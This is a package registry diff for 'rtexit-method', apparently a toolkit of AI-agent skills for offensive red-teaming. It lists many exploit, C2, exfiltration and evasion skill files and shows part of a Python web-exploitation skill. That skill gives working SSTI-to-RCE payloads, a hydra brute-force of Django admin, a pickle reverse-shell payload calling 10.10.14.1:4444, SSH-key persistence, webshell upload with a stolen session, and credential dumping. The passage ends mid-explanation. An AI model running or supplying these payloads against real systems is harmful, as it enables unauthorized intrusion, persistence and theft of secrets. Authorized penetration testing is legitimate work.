rtexit-method 0.1.0 → 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +9 -7
- package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
- package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
- package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
- package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
- package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
- package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
- package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
- package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
- package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
- package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
- package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
- package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
- package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
- package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
- package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
- package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
- package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
- package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
- package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
- package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
- package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
- package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
- package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
- package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
- package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
- package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
- package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
- package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
- package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
- package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
- package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
- package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
- package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
- package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
- package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
- package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
- package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
- package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
- package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
- package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
- package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
- package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
- package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
- package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
- package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
- package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
- package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
- package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
- package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
- package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
- package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
- package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
- package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
- package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
- package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
- package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
- package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
- package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
- package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
- package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
- package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
- package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
- package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
- package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
- package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
- package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
- package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
- package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
- package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
- package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
- package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
- package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
- package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
- package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
- package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
- package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
- package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
- package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
- package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
- package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
- package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
- package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
- package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
- package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
- package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
- package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
- package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
- package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
- package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
- package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
- package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
- package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
- package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
- package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
- package/packaged-assets/RTEXIT.md +127 -0
- package/tools/installer/commands/install.js +0 -1
- package/tools/installer/lib/asset-manifest.js +10 -5
- package/tools/installer/lib/banner.js +14 -6
- package/tools/installer/lib/copy-assets.js +5 -2
- package/tools/installer/lib/prompts.js +1 -11
- package/tools/installer/lib/write-config.js +8 -2
- /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
- /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
- /package/{resources → packaged-assets/resources}/certifications.md +0 -0
- /package/{resources → packaged-assets/resources}/payloads.md +0 -0
- /package/{resources → packaged-assets/resources}/tools.md +0 -0
- /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
- /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
- /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
- /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
- /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
- /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
- /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
|
@@ -0,0 +1,986 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: rt-exploit-python
|
|
3
|
+
description: "Python web framework exploitation skill. Covers Jinja2/Mako SSTI (Server-Side Template Injection) to RCE, Django SSTI and admin panel exploitation, Flask debug console exploitation, Python pickle deserialization RCE, and Python eval/exec injection. Targets Django, Flask, FastAPI, Tornado applications."
|
|
4
|
+
---
|
|
5
|
+
|
|
6
|
+
# rt-exploit-python — Python Web Framework Exploitation
|
|
7
|
+
|
|
8
|
+
## 1. Overview and When to Use
|
|
9
|
+
|
|
10
|
+
This skill covers exploitation of Python-based web frameworks including Django, Flask, FastAPI, and Tornado. The primary attack vectors are:
|
|
11
|
+
|
|
12
|
+
- **SSTI (Server-Side Template Injection)** — Jinja2, Mako, Tornado templates processed with unsanitized user input
|
|
13
|
+
- **Flask Debug Console** — Werkzeug interactive debugger exposed in production with PIN bypass
|
|
14
|
+
- **Django Admin Panel** — Default `/admin/` with weak credentials or SSTI in custom templates
|
|
15
|
+
- **Python Pickle Deserialization** — Unsafe `pickle.loads()` on attacker-controlled data
|
|
16
|
+
- **eval/exec Injection** — Dynamic code execution sinks receiving user input
|
|
17
|
+
|
|
18
|
+
**When to use this skill:**
|
|
19
|
+
- Target is running a Python web application (confirmed via headers, error pages, or recon)
|
|
20
|
+
- You observe template syntax reflected in responses (`{{7*7}}` → `49`)
|
|
21
|
+
- Error pages reveal Werkzeug/Django debug stack traces
|
|
22
|
+
- You find endpoints accepting serialized data (cookies, API payloads)
|
|
23
|
+
- Admin panels are exposed with default or brute-forceable credentials
|
|
24
|
+
- Source code review reveals unsafe `eval()`, `exec()`, or `pickle.loads()` calls
|
|
25
|
+
|
|
26
|
+
---
|
|
27
|
+
|
|
28
|
+
## 2. Prerequisites and Setup
|
|
29
|
+
|
|
30
|
+
### Tools Required
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
# Core tools
|
|
34
|
+
pip install tplmap # SSTI detection and exploitation framework
|
|
35
|
+
pip install requests # HTTP client for manual exploitation
|
|
36
|
+
pip install pwntools # Payload crafting and shellcode
|
|
37
|
+
|
|
38
|
+
# Optional but recommended
|
|
39
|
+
pip install flask # Local testing environment
|
|
40
|
+
pip install django # Django payload testing
|
|
41
|
+
|
|
42
|
+
# System tools
|
|
43
|
+
which python3
|
|
44
|
+
which curl
|
|
45
|
+
which nc # netcat for reverse shells
|
|
46
|
+
which burpsuite # Proxy for request manipulation
|
|
47
|
+
```
|
|
48
|
+
|
|
49
|
+
### Environment Setup
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
# Set up isolated workspace
|
|
53
|
+
mkdir -p ~/rt-python-exploit/{payloads,loot,logs}
|
|
54
|
+
cd ~/rt-python-exploit
|
|
55
|
+
|
|
56
|
+
# Configure proxy if using Burp Suite
|
|
57
|
+
export HTTP_PROXY="http://127.0.0.1:8080"
|
|
58
|
+
export HTTPS_PROXY="http://127.0.0.1:8080"
|
|
59
|
+
|
|
60
|
+
# Listener for reverse shells
|
|
61
|
+
nc -lvnp 4444 &
|
|
62
|
+
|
|
63
|
+
# Clone useful wordlists
|
|
64
|
+
git clone https://github.com/danielmiessler/SecLists /opt/SecLists
|
|
65
|
+
```
|
|
66
|
+
|
|
67
|
+
### Identify Python Framework
|
|
68
|
+
|
|
69
|
+
```bash
|
|
70
|
+
# Check response headers
|
|
71
|
+
curl -si https://target.com/ | grep -i "server\|x-powered\|x-django\|werkzeug"
|
|
72
|
+
|
|
73
|
+
# Common indicators:
|
|
74
|
+
# Server: Werkzeug/2.x.x Python/3.x.x → Flask
|
|
75
|
+
# X-Frame-Options: DENY + CSRF middleware → Django
|
|
76
|
+
# Error pages with Jinja2 tracebacks → Flask/Jinja2
|
|
77
|
+
# /admin/ with "Django administration" → Django
|
|
78
|
+
|
|
79
|
+
# Check for debug endpoints
|
|
80
|
+
curl -si https://target.com/console # Werkzeug debug console
|
|
81
|
+
curl -si https://target.com/__debug__ # Django debug toolbar
|
|
82
|
+
curl -si https://target.com/debug # Generic debug endpoint
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
---
|
|
86
|
+
|
|
87
|
+
## 3. Skill Levels
|
|
88
|
+
|
|
89
|
+
### BEGINNER — Detection and Basic Injection
|
|
90
|
+
|
|
91
|
+
```bash
|
|
92
|
+
# 1. Detect SSTI with math expression
|
|
93
|
+
curl "https://target.com/page?name={{7*7}}"
|
|
94
|
+
# Expected vulnerable response: 49 (not {{7*7}})
|
|
95
|
+
|
|
96
|
+
# 2. Detect Jinja2 vs Mako vs Tornado
|
|
97
|
+
curl "https://target.com/search?q={{7*'7'}}"
|
|
98
|
+
# Jinja2 result: 7777777
|
|
99
|
+
# Twig result: 49
|
|
100
|
+
# Not vulnerable: {{7*'7'}}
|
|
101
|
+
|
|
102
|
+
# 3. Run tplmap for automated detection
|
|
103
|
+
python3 tplmap.py -u "https://target.com/page?name=test"
|
|
104
|
+
|
|
105
|
+
# 4. Check for Flask debug mode
|
|
106
|
+
curl -si "https://target.com/console" | grep "Werkzeug"
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
### INTERMEDIATE — SSTI to RCE, Admin Access
|
|
110
|
+
|
|
111
|
+
```bash
|
|
112
|
+
# 1. Read /etc/passwd via SSTI
|
|
113
|
+
curl "https://target.com/page?name={{request.application.__globals__.__builtins__.__import__('os').popen('cat /etc/passwd').read()}}"
|
|
114
|
+
|
|
115
|
+
# 2. Django admin brute force
|
|
116
|
+
hydra -L /opt/SecLists/Usernames/top-usernames-shortlist.txt \
|
|
117
|
+
-P /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt \
|
|
118
|
+
target.com http-post-form "/admin/login/:username=^USER^&password=^PASS^&csrfmiddlewaretoken=TOKEN:Please enter"
|
|
119
|
+
|
|
120
|
+
# 3. tplmap with OS command
|
|
121
|
+
python3 tplmap.py -u "https://target.com/page?name=test" --os-cmd "id"
|
|
122
|
+
|
|
123
|
+
# 4. Flask debug PIN calculation (see Section 5)
|
|
124
|
+
python3 flask_pin_calc.py --machine-id /proc/sys/kernel/random/boot_id --mac 02:42:ac:11:00:02
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
### ADVANCED — Sandbox Escape, Pickle RCE
|
|
128
|
+
|
|
129
|
+
```bash
|
|
130
|
+
# 1. Jinja2 sandbox escape via MRO traversal
|
|
131
|
+
curl "https://target.com/page?name={{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}"
|
|
132
|
+
|
|
133
|
+
# 2. Generate pickle RCE payload
|
|
134
|
+
python3 -c "
|
|
135
|
+
import pickle, os, base64
|
|
136
|
+
class Exploit(object):
|
|
137
|
+
def __reduce__(self):
|
|
138
|
+
return (os.system, ('bash -c \"bash -i >& /dev/tcp/10.10.14.1/4444 0>&1\"',))
|
|
139
|
+
print(base64.b64encode(pickle.dumps(Exploit())).decode())
|
|
140
|
+
"
|
|
141
|
+
|
|
142
|
+
# 3. Bypass Jinja2 restrictions with attr filter
|
|
143
|
+
curl "https://target.com/?x={{''.attr('__class__').attr('__mro__')[1].attr('__subclasses__')()[104].attr('__init__').attr('__globals__')['popen']('id').read()}}"
|
|
144
|
+
|
|
145
|
+
# 4. FastAPI SSTI via Jinja2 custom template
|
|
146
|
+
curl -X POST "https://target.com/render" \
|
|
147
|
+
-H "Content-Type: application/json" \
|
|
148
|
+
-d '{"template": "{{config.__class__.__init__.__globals__[\"os\"].popen(\"id\").read()}}"}'
|
|
149
|
+
```
|
|
150
|
+
|
|
151
|
+
### EXPERT — Chained Attacks, Full Compromise
|
|
152
|
+
|
|
153
|
+
```bash
|
|
154
|
+
# 1. SSTI → write SSH key → persistent access
|
|
155
|
+
PAYLOAD='{{request.application.__globals__.__builtins__.__import__("os").popen("echo ssh-rsa AAAA...KEY... >> /root/.ssh/authorized_keys").read()}}'
|
|
156
|
+
curl -G "https://target.com/page" --data-urlencode "name=$PAYLOAD"
|
|
157
|
+
|
|
158
|
+
# 2. Pickle via JWT with alg=none bypass
|
|
159
|
+
python3 jwt_pickle_exploit.py --target https://target.com/api/profile \
|
|
160
|
+
--lhost 10.10.14.1 --lport 4444
|
|
161
|
+
|
|
162
|
+
# 3. Django admin → file manager plugin → webshell
|
|
163
|
+
# After admin login, abuse Django FileField or custom admin actions
|
|
164
|
+
curl -X POST "https://target.com/admin/app/userprofile/upload/" \
|
|
165
|
+
-b "sessionid=STOLEN_SESSION; csrftoken=TOKEN" \
|
|
166
|
+
-F "file=@shell.py"
|
|
167
|
+
|
|
168
|
+
# 4. Mako SSTI (different syntax)
|
|
169
|
+
curl "https://target.com/page?name=\${__import__('os').popen('id').read()}"
|
|
170
|
+
```
|
|
171
|
+
|
|
172
|
+
---
|
|
173
|
+
|
|
174
|
+
## 4. Step-by-Step Workflow
|
|
175
|
+
|
|
176
|
+
### Phase 1: Reconnaissance and Framework Fingerprinting
|
|
177
|
+
|
|
178
|
+
```
|
|
179
|
+
1. Identify Python application via headers/error pages
|
|
180
|
+
2. Enumerate endpoints: /admin/, /api/, /debug/, /console/
|
|
181
|
+
3. Identify template engine (Jinja2, Mako, Tornado, Django templates)
|
|
182
|
+
4. Map input vectors: GET/POST params, headers, cookies, JSON fields
|
|
183
|
+
5. Review JavaScript source for API endpoints and parameter names
|
|
184
|
+
```
|
|
185
|
+
|
|
186
|
+
### Phase 2: SSTI Detection
|
|
187
|
+
|
|
188
|
+
```
|
|
189
|
+
1. Inject detection polyglot into all input vectors
|
|
190
|
+
2. Confirm injection with math expression {{7*7}} → 49
|
|
191
|
+
3. Fingerprint engine with {{7*'7'}} vs ${7*7} vs #{7*7}
|
|
192
|
+
4. Test in headers: X-Forwarded-For, User-Agent, Referer
|
|
193
|
+
5. Test in JSON bodies, XML payloads, file upload filenames
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
### Phase 3: Exploitation Path Selection
|
|
197
|
+
|
|
198
|
+
```
|
|
199
|
+
1. If SSTI confirmed → proceed to RCE via MRO traversal or globals
|
|
200
|
+
2. If debug console found → calculate/bypass PIN
|
|
201
|
+
3. If admin panel exposed → credential attack → authenticated exploitation
|
|
202
|
+
4. If serialization endpoint found → generate pickle payload
|
|
203
|
+
5. If source code available → grep for eval/exec/pickle sinks
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
### Phase 4: RCE Achievement
|
|
207
|
+
|
|
208
|
+
```
|
|
209
|
+
1. Execute id, whoami to confirm code execution
|
|
210
|
+
2. Read /etc/passwd, /proc/version for system fingerprinting
|
|
211
|
+
3. Check sudo -l for privilege escalation paths
|
|
212
|
+
4. Establish reverse shell or write webshell
|
|
213
|
+
5. Dump environment variables (may contain secrets, DB creds)
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
### Phase 5: Post-Exploitation
|
|
217
|
+
|
|
218
|
+
```
|
|
219
|
+
1. Dump Django settings.py (SECRET_KEY, DATABASE settings)
|
|
220
|
+
2. Extract database credentials and dump user tables
|
|
221
|
+
3. Collect API keys from environment variables
|
|
222
|
+
4. Establish persistence (SSH keys, cron, systemd service)
|
|
223
|
+
5. Document all findings with timestamps and screenshots
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
## 5. Payload Examples with Explanations
|
|
229
|
+
|
|
230
|
+
### 5.1 Jinja2 SSTI Detection Chain
|
|
231
|
+
|
|
232
|
+
```python
|
|
233
|
+
# Step 1: Basic math — confirms template execution
|
|
234
|
+
{{7*7}}
|
|
235
|
+
# Returns: 49
|
|
236
|
+
|
|
237
|
+
# Step 2: String multiplication — fingerprints Jinja2 specifically
|
|
238
|
+
{{7*'7'}}
|
|
239
|
+
# Jinja2 returns: 7777777
|
|
240
|
+
# Python eval would return: TypeError
|
|
241
|
+
|
|
242
|
+
# Step 3: Config object access — Jinja2/Flask specific
|
|
243
|
+
{{config}}
|
|
244
|
+
# Returns Flask config dict including SECRET_KEY
|
|
245
|
+
|
|
246
|
+
# Step 4: Self object (Flask)
|
|
247
|
+
{{self.__dict__}}
|
|
248
|
+
# Returns internal object attributes
|
|
249
|
+
```
|
|
250
|
+
|
|
251
|
+
### 5.2 Jinja2 to RCE via MRO (Method Resolution Order)
|
|
252
|
+
|
|
253
|
+
```python
|
|
254
|
+
# Full payload — explained line by line:
|
|
255
|
+
{{''.__class__.__mro__[1].__subclasses__()}}
|
|
256
|
+
# '' → empty string object
|
|
257
|
+
# .__class__ → str class
|
|
258
|
+
# .__mro__ → [str, object] — Method Resolution Order
|
|
259
|
+
# [1] → object (base Python class)
|
|
260
|
+
# .__subclasses__() → ALL subclasses of object in memory
|
|
261
|
+
